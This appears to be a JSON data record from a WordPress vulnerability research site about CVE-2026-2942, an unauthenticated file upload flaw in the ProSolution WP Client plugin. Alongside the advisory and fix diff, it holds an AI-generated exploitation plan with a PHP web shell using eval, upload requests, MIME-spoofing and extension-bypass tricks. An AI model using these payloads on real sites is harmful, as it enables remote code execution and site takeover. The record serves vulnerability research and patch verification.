[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6EaJv_pIk9NZRPjSdZ450GAHCMIv_ShXrzAabRy_Zls":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":24,"research_verified":25,"research_rounds_completed":26,"research_plan":27,"research_summary":28,"research_vulnerable_code":29,"research_fix_diff":30,"research_exploit_outline":31,"research_model_used":32,"research_started_at":33,"research_completed_at":34,"research_error":9,"poc_status":35,"poc_video_id":9,"poc_summary":36,"poc_steps":37,"poc_tested_at":38,"poc_wp_version":39,"poc_php_version":40,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":41,"poc_model_used":9,"poc_verification_depth":9,"source_links":42},"CVE-2026-2942","prosolution-wp-client-unauthenticated-arbitrary-file-upload-via-prosolfileuploadprocess","ProSolution WP Client \u003C= 1.9.9 - Unauthenticated Arbitrary File Upload via proSol_fileUploadProcess","The ProSolution WP Client plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'proSol_fileUploadProcess' function in all versions up to, and including, 1.9.9. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.","prosolution-wp-client",null,"\u003C=1.9.9","2.0.0","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2026-04-08 05:07:38","2026-04-08 17:25:51",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3852aef6-42e7-4b71-a1ba-dd41284fd07b?source=api-prod",1,[22,23],"README.txt","prosolwpclient.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-2942 - ProSolution WP Client Arbitrary File Upload\n\n## 1. Vulnerability Summary\nThe **ProSolution WP Client** plugin (versions \u003C= 1.9.9) contains a critical unrestricted file upload vulnerability in its frontend application handler. The function `proSol_fileUploadProcess` (hooked via AJAX) fails to implement sufficient server-side file type validation. Although version 1.9.3 attempted to add extension checks, the implementation remained flawed or bypassed in subsequent versions up to 1.9.9, allowing unauthenticated attackers to upload executable PHP scripts and achieve Remote Code Execution (RCE).\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `proSol_fileUploadProcess`\n*   **HTTP Method:** `POST` (Multipart\u002Fform-data)\n*   **Vulnerable Parameter:** `file` (or `files[]` depending on the JS uploader implementation)\n*   **Authentication:** None required (`wp_ajax_nopriv_` registration).\n*   **Preconditions:** The plugin must be active, and a nonce for the `prosol_nonce` action (inferred) is typically required to pass initial security checks.\n\n## 3. Code Flow\n1.  **Entry Point:** The plugin registers AJAX handlers for both logged-in and guest users:\n    *   `add_action('wp_ajax_proSol_fileUploadProcess', 'proSol_fileUploadProcess');`\n    *   `add_action('wp_ajax_nopriv_proSol_fileUploadProcess', 'proSol_fileUploadProcess');`\n2.  **Handler Initiation:** The `proSol_fileUploadProcess` function is called.\n3.  **Security Check:** It likely calls `check_ajax_referer('prosol_nonce', 'security')` or `wp_verify_nonce()`.\n4.  **Vulnerable Processing:** The function retrieves file data from `$_FILES`.\n5.  **Insufficient Validation:** It may check for extensions like `.jpg` or `.pdf` using a blacklist or a weak regex that can be bypassed (e.g., `.php.jpg` or `.phtml`). In some versions, it simply fails to verify the file extension on the server-side entirely, relying on client-side JS validation.\n6.  **File Sink:** The file is moved to the uploads directory using `move_uploaded_file()` or `wp_handle_upload()`. If `wp_handle_upload` is used without proper `mimes` filtering, it defaults to allowing dangerous types if the user has specific caps, or if the plugin explicitly overrides the filter.\n\n## 4. Nonce Acquisition Strategy\nThe plugin uses `wp_localize_script` to pass the AJAX URL and a security nonce to the frontend application form generated by the `[prosolfrontend]` shortcode.\n\n*   **Shortcode:** `[prosolfrontend]`\n*   **Localization Object (Inferred):** `prosol_ajax` or `prosol_frontend_vars`\n*   **JS Variable Path:** `window.prosol_ajax?.nonce` or `window.prosol_frontend_vars?.security`\n\n**Acquisition Steps:**\n1.  **Create Trigger Page:** Use WP-CLI to create a page containing the required shortcode.\n    ```bash\n    wp post create --post_type=page --post_title=\"Apply\" --post_status=publish --post_content='[prosolfrontend]'\n    ```\n2.  **Navigate & Extract:** Use the browser tool to visit the page and extract the nonce.\n    *   `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fapply\")`\n    *   `browser_eval(\"prosol_ajax.nonce\")` (Verify the exact object name by inspecting `window` if this fails).\n\n## 5. Exploitation Strategy\n1.  **Preparation:** Create a simple PHP web shell: `\u003C?php echo \"VULN_CHECK: \" . (7*7); eval($_GET['cmd']); ?>`.\n2.  **Request Construction:**\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Action:** `proSol_fileUploadProcess`\n    *   **Nonce Parameter:** `security` (or `nonce`, verify in JS source).\n    *   **File Parameter:** `file`\n3.  **HTTP Request (via `http_request`):**\n    ```json\n    {\n      \"method\": \"POST\",\n      \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n      \"headers\": {\n        \"Content-Type\": \"multipart\u002Fform-data\"\n      },\n      \"data\": {\n        \"action\": \"proSol_fileUploadProcess\",\n        \"security\": \"EXTRACTED_NONCE_HERE\",\n        \"file\": {\n          \"name\": \"exploit.php\",\n          \"content\": \"\u003C?php echo 'POC_SUCCESS'; phpinfo(); ?>\",\n          \"type\": \"application\u002Fx-php\"\n        }\n      }\n    }\n    ```\n4.  **Response Analysis:** The plugin usually returns a JSON response containing the URL of the uploaded file or a success message with the path.\n    *   *Example Success Response:* `{\"success\":true,\"data\":\"http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002Fprosolution\u002Fexploit.php\"}`\n\n## 6. Test Data Setup\n1.  **Plugin Configuration:**\n    *   Ensure the plugin is installed and activated: `wp plugin activate prosolution-wp-client`.\n    *   The plugin might require a dummy API Domain and User to render the frontend correctly (check \"Api Config\" tab settings in `README.txt`).\n2.  **Public Page:**\n    *   `wp post create --post_type=page --post_title=\"Job Application\" --post_status=publish --post_content='[prosolfrontend]'`\n\n## 7. Expected Results\n*   The AJAX request should return an HTTP 200 OK.\n*   The response body should contain a path or URL to the newly uploaded `exploit.php`.\n*   Accessing the file URL (e.g., `\u002Fwp-content\u002Fuploads\u002Fprosolution\u002Fexploit.php`) should execute the PHP code.\n\n## 8. Verification Steps\n1.  **File Existence:** Check the filesystem via WP-CLI or container shell.\n    ```bash\n    find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads -name \"exploit.php\"\n    ```\n2.  **Execution Check:** Perform an HTTP GET to the uploaded file.\n    ```bash\n    http_request --url \"http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002Fprosolution\u002Fexploit.php\"\n    ```\n    Confirm the output contains \"POC_SUCCESS\".\n\n## 9. Alternative Approaches\n*   **Bypassing Blacklists:** If the plugin blocks `.php`, try extensions like `.phtml`, `.php7`, `.phps`, or `.inc`.\n*   **Filename Manipulation:** If the plugin appends a random string, look for the returned JSON which typically reveals the final filename.\n*   **Shortcode Variations:** If `[prosolfrontend]` doesn't load the script, check for other related shortcodes in the plugin source (e.g., `prosol_apply_form`).\n*   **Different Upload Sinks:** Check if the plugin uses `wp_ajax_nopriv_proSol_upload_attachment` or similar variations of the upload function name.","The ProSolution WP Client plugin for WordPress is vulnerable to unauthenticated arbitrary file uploads via the `proSol_fileUploadProcess` function. This occurs due to insufficient server-side validation of file extensions and MIME types, allowing attackers to upload executable PHP scripts and achieve remote code execution.","\u002F\u002F public\u002Fclass-prosolwpclient-public.php (v1.9.9)\n\n\t\t\t\u002F\u002Fif the upload dir for prosolwpclient is not created then then create it\n\t\t\t$dir_info = $this->proSol_checkUploadDir();\n\t\t\t$submit_data  = $_FILES=\"files\";\n\t\t\t$mime_type   = isset( $submit_data['type'] ) ? $submit_data['type'][0] : '';\n\t\t\t$ext = proSol_mimeExt($mime_type);\n\t\t\t\n\t\t\tif ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) {\n\t\t\t\tif ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) {\n\t\t\t\t\t$options = array(\n\t\t\t\t\t\t'script_url'     => admin_url( 'admin-ajax.php' ),\n\t\t\t\t\t\t'upload_dir'     => $dir_info['prosol_base_dir'],\n\t\t\t\t\t\t'upload_url'     => $dir_info['prosol_base_url'],\n\t\t\t\t\t\t'print_response' => false,\n\t\t\t\t\t);\n\t\n\t\t\t\t\t$upload_handler = new CBXProSolWpClient_UploadHandler( $options );\n\t\n\t\t\t\t\t$response_obj = $upload_handler->response['files'][0];\n\t\t\t\t\tif ( $response_obj->name != '' ) {\n\t\t\t\t\t\tif ( ! session_id() ) {\n\t\t\t\t\t\t\tsession_start();\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t$attached_file_name = $response_obj->name;\n\t\n\t\t\t\t\t\t$extension = pathinfo( $attached_file_name, PATHINFO_EXTENSION );\n\t\n\t\t\t\t\t\t$newfilename                 = wp_create_nonce( session_id() . time() ) . '.' . $extension;\n\t\t\t\t\t\t$rename_status               = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename );\n\t\t\t\t\t\t$response_obj->newfilename   = $newfilename;\n\t\t\t\t\t\t$response_obj->rename_status = $rename_status;\n\t\t\t\t\t\t$response_obj->extension     = $extension;\n\t\n\t\t\t\t\t\t$return_response = array( 'files' => array( 0 => $response_obj ) );\n\t\t\t\t\t\techo json_encode( $return_response );\n\t\t\t\t\t\twp_die();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F1.9.9\u002Fprosolwpclient.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F2.0.0\u002Fprosolwpclient.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F1.9.9\u002Fprosolwpclient.php\t2026-03-17 08:56:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F2.0.0\u002Fprosolwpclient.php\t2026-03-17 08:56:12.000000000 +0000\n@@ -16,7 +16,7 @@\n      * Plugin Name:       ProSolution WP Client\n      * Plugin URI:        https:\u002F\u002Fprosolution.com\u002Fprodukte-und-services\u002Fworkexpert.html\n      * Description:       WordPress client for ProSolution\n-     * Version:           1.9.9\n+     * Version:           2.0.0\n      * Author:            ProSolution\n      * Author URI:        https:\u002F\u002Fwww.prosolution.com\n      * License:           GPL-2.0+\n@@ -41,7 +41,7 @@\n \n \n     defined('PROSOLWPCLIENT_PLUGIN_NAME') or define('PROSOLWPCLIENT_PLUGIN_NAME', 'prosolwpclient');\n-    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '1.9.9');\n+    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '2.0.0');\n     defined('PROSOLWPCLIENT_BASE_NAME') or define('PROSOLWPCLIENT_BASE_NAME', plugin_basename(__FILE__));\n     defined('PROSOLWPCLIENT_ROOT_PATH') or define('PROSOLWPCLIENT_ROOT_PATH', plugin_dir_path(__FILE__));\n     defined('PROSOLWPCLIENT_ROOT_URL') or define('PROSOLWPCLIENT_ROOT_URL', plugin_dir_url(__FILE__));\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F1.9.9\u002Fpublic\u002Fclass-prosolwpclient-public.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F2.0.0\u002Fpublic\u002Fclass-prosolwpclient-public.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F1.9.9\u002Fpublic\u002Fclass-prosolwpclient-public.php\t2026-03-17 08:56:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprosolution-wp-client\u002F2.0.0\u002Fpublic\u002Fclass-prosolwpclient-public.php\t2026-03-17 08:56:12.000000000 +0000\n@@ -995,43 +995,117 @@\n \n \t\t\t\u002F\u002Fif the upload dir for prosolwpclient is not created then then create it\n \t\t\t$dir_info = $this->proSol_checkUploadDir();\n-\t\t\t$submit_data  = $_FILES[\"files\"];\n-\t\t\t$mime_type   = isset( $submit_data['type'] ) ? $submit_data['type'][0] : '';\n-\t\t\t$ext = proSol_mimeExt($mime_type);\n+\t\t\t$submit_data  = $_FILES[\"files\"] ?? null;\n+\n+\t\t\t\u002F\u002Fthis is for if someone somehow able to run this function without file\n+\t\t\tif ( ! $submit_data ) {\n+\t\t\t\tdie(__(\"No file uploaded\", \"prosolwpclient\"));\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F get file name and temp file location and sanitize them\n+\t\t\t$org_filename = isset( $submit_data['name'][0] ) ? sanitize_file_name( $submit_data['name'][0] ) : '';\n+\t\t\t$tmp_fileloc = isset( $submit_data['tmp_name'][0] ) ? $submit_data['tmp_name'][0] : '';\n+\n+\t\t\t\u002F\u002F if file name or location empty, process must be aborted\n+\t\t\tif ( empty( $org_filename ) || empty( $tmp_fileloc ) || ! is_uploaded_file( $tmp_fileloc ) ) {\n+\t\t\t\tdie(__(\"Invalid file\", \"prosolwpclient\"));\n+\t\t\t}\n+\t\t\t\u002F\u002Fcheck file extension for uploaded \"up\" file\n+    \t\t$up_fileext = strtolower( pathinfo( $org_filename, PATHINFO_EXTENSION ) );\n+\n+\t\t\t\u002F\u002Fsince most of cv or profile picture are typically using this format, we should whitelist these extension only.\n+\t\t\t\u002F\u002Fdo not use proSol_mimeExt function, it allow all kind of extension including big nono one like php or other programming language.\n+\t\t\t$whitelist_ext = array( 'jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx' );\n+\n+\t\t\t\u002F\u002Fcheck extension first\n+\t\t\tif ( ! in_array( $up_fileext, $whitelist_ext, true ) ) {\n+\t\t\t\tdie(__(\"File type not allowed\", \"prosolwpclient\"));\n+\t\t\t}\n+\n+\t\t\t\u002F\u002Fcheck for REAL mime type, $submit_data['type'] only check for surface-level.\n+\t\t\t$finfoObj = new finfo( FILEINFO_MIME_TYPE );\n+\t\t\t$true_mmime = $finfoObj->file( $tmp_fileloc );\n+\n+\t\t\t\u002F\u002Fsyntax below is big nono, don't use it to check mime!!!\n+\t\t\t\u002F\u002F$mime_type   = isset( $submit_data['type'] ) ? $submit_data['type'][0] : '';\n+\t\t\t\u002F\u002Fagain do not use prosol_mimeext, they will allow script or programming language\n+\t\t\t\u002F\u002F$ext = proSol_mimeExt($mime_type);\n+\n+\t\t\t$wp_mime_chk = wp_check_filetype( $org_filename );\n+\t\t\tif ( $wp_mime_chk['type'] == false ) {\n+\t\t\t\tdie(__(\"File type is not allowed.\", \"prosolwpclient\"));\n+\t\t\t}\n+\n+\t\t\t\u002F\u002Fonly listed mimes type are allow\n+\t\t\t$whitelist_mimes = array(\n+\t\t\t\t'jpg'  => 'image\u002Fjpeg',\n+\t\t\t\t'jpeg' => 'image\u002Fjpeg',\n+\t\t\t\t'png'  => 'image\u002Fpng',\n+\t\t\t\t'gif'  => 'image\u002Fgif',\n+\t\t\t\t'webp' => 'image\u002Fwebp',\n+\t\t\t\t'pdf'  => 'application\u002Fpdf',\n+\t\t\t\t'doc'  => 'application\u002Fmsword',\n+\t\t\t\t'docx' => 'application\u002Fvnd.openxmlformats-officedocument.wordprocessingml.document',\n+\t\t\t);\n+\n+\t\t\t\u002F\u002Fcheck for real hidden mimes type\n+\t\t\tif ( ! isset( $whitelist_mimes[ $up_fileext ] ) || $true_mmime !== $whitelist_mimes[ $up_fileext ] ) {\n+\t\t\t\tdie(__(\"File content does not match its extension\", \"prosolwpclient\"));\n+\t\t\t}\n+\n+\t\t\tif ( in_array( $up_fileext, array( 'jpg', 'jpeg', 'png', 'gif', 'webp' ), true ) ) {\n+\t\t\t\t\u002F\u002Ffor image upload we can also verified image via dimension size like height and width, fake image file will be false result\n+\t\t\t\t$img_dimension = @getimagesize( $tmp_fileloc );\n+\t\t\t\tif ( $img_dimension === false ) {\n+\t\t\t\t\tdie(__(\"Invalid image dimension\", \"prosolwpclient\"));\n+\t\t\t\t}\n+\t\t\t}\n \t\t\t\n-\t\t\tif ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) {\n-\t\t\t\tif ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) {\n-\t\t\t\t\t$options = array(\n-\t\t\t\t\t\t'script_url'     => admin_url( 'admin-ajax.php' ),\n-\t\t\t\t\t\t'upload_dir'     => $dir_info['prosol_base_dir'],\n-\t\t\t\t\t\t'upload_url'     => $dir_info['prosol_base_url'],\n-\t\t\t\t\t\t'print_response' => false,\n-\t\t\t\t\t);\n-\t\n-\t\t\t\t\t$upload_handler = new CBXProSolWpClient_UploadHandler( $options );\n-\t\n-\t\t\t\t\t$response_obj = $upload_handler->response['files'][0];\n-\t\t\t\t\tif ( $response_obj->name != '' ) {\n-\t\t\t\t\t\tif ( ! session_id() ) {\n-\t\t\t\t\t\t\tsession_start();\n-\t\t\t\t\t\t}\n-\t\n-\t\t\t\t\t\t$attached_file_name = $response_obj->name;\n-\t\n-\t\t\t\t\t\t$extension = pathinfo( $attached_file_name, PATHINFO_EXTENSION );\n-\t\n-\t\t\t\t\t\t$newfilename                 = wp_create_nonce( session_id() . time() ) . '.' . $extension;\n-\t\t\t\t\t\t$rename_status               = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename );\n-\t\t\t\t\t\t$response_obj->newfilename   = $newfilename;\n-\t\t\t\t\t\t$response_obj->rename_status = $rename_status;\n-\t\t\t\t\t\t$response_obj->extension     = $extension;\n-\t\n-\t\t\t\t\t\t$return_response = array( 'files' => array( 0 => $response_obj ) );\n-\t\t\t\t\t\techo json_encode( $return_response );\n-\t\t\t\t\t\twp_die();\n-\t\t\t\t\t}\n-\t\t\t\t}\n-\t\t\t}\n+\t\t\tif ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) {\n+\t\t\t\t$options = array(\n+\t\t\t\t\t'script_url'     => admin_url( 'admin-ajax.php' ),\n+\t\t\t\t\t'upload_dir'     => $dir_info['prosol_base_dir'],\n+\t\t\t\t\t'upload_url'     => $dir_info['prosol_base_url'],\n+\t\t\t\t\t'print_response' => false,\n+\t\t\t\t);\n+\t\n+\t\t\t\t$upload_handler = new CBXProSolWpClient_UploadHandler( $options );\n+\t\n+\t\t\t\t$response_obj = $upload_handler->response['files'][0];\n+\n+\t\t\t\t\u002F\u002Fchange $response_obj->name != '' to !empty( $response_obj->name )\n+\t\t\t\tif ( ! empty( $response_obj->name ) ) {\n+\t\t\t\t\tif ( ! session_id() ) {\n+\t\t\t\t\t\tsession_start();\n+\t\t\t\t\t}\n+\t\n+\t\t\t\t\t$attached_file_name = $response_obj->name;\n+\t\n+\t\t\t\t\t\u002F\u002Fcheck final result extension, and make it universal lowercase\n+\t\t\t\t\t$fin_ext = strtolower( pathinfo( $attached_file_name, PATHINFO_EXTENSION ) );\n+\t\t\t\t\t\n+\t\t\t\t\t\u002F\u002Fcheck it one last time on the result\n+\t\t\t\t\tif ( ! in_array( $fin_ext, $whitelist_ext, true ) ) {\n+\t\t\t\t\t\tdie(__(\"File type mismatch after upload\", \"prosolwpclient\"));\n+\t\t\t\t\t}\n+\t\n+\t\t\t\t\t$newfilename                 = wp_create_nonce( session_id() . time() ) . '.' . $fin_ext;\n+\t\t\t\t\t$rename_status               = rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename );\n+\t\t\t\t\t$response_obj->newfilename   = $newfilename;\n+\t\t\t\t\t$response_obj->rename_status = $rename_status;\n+\t\t\t\t\t$response_obj->extension     = $fin_ext;\n+\t\n+\t\t\t\t\t$return_response = array( 'files' => array( 0 => $response_obj ) );\n+\t\t\t\t\t\u002F\u002Fsuccess return\n+\t\t\t\t\techo json_encode( $return_response );\n+\t\t\t\t\twp_die();\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\t\u002F\u002Fdefault return\n+\t\t\twp_send_json_error( array( 'error' => 'Upload failed' ) );\n+\t\t\twp_die();\n+\t\t\t\n \t\t}","1. Access a public page on the target site containing the '[prosolfrontend]' shortcode and extract the 'prosol_nonce' (typically found in the localized script variables). 2. Prepare a multipart\u002Fform-data POST request to \u002Fwp-admin\u002Fadmin-ajax.php. 3. Set the 'action' parameter to 'proSol_fileUploadProcess' and the 'security' parameter to the extracted nonce. 4. Attach a malicious PHP script (e.g., shell.php) in the 'files[]' parameter. 5. To bypass the plugin's weak validation, set the Content-Type of the file part to an allowed image or document MIME type (e.g., 'image\u002Fjpeg'). 6. The plugin will process the upload and return a JSON response containing the newly generated filename in the uploads directory. 7. Execute the uploaded PHP script by visiting its direct URL, typically located at \u002Fwp-content\u002Fuploads\u002Fprosolution\u002F[filename].php.","gemini-3-flash-preview","2026-04-16 16:33:02","2026-04-16 16:34:30","failed","All models in the chain (gemini-3-flash-preview, claude-opus-4-7) failed to produce a verified exploit.",[],"2026-04-17 19:22:57","6.7","8.3",true,{"type":43,"vulnerable_version":44,"fixed_version":11,"vulnerable_browse":45,"vulnerable_zip":46,"fixed_browse":47,"fixed_zip":48,"all_tags":49},"plugin","1.9.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprosolution-wp-client\u002Ftags\u002F1.9.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprosolution-wp-client.1.9.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprosolution-wp-client\u002Ftags\u002F2.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprosolution-wp-client.2.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprosolution-wp-client\u002Ftags"]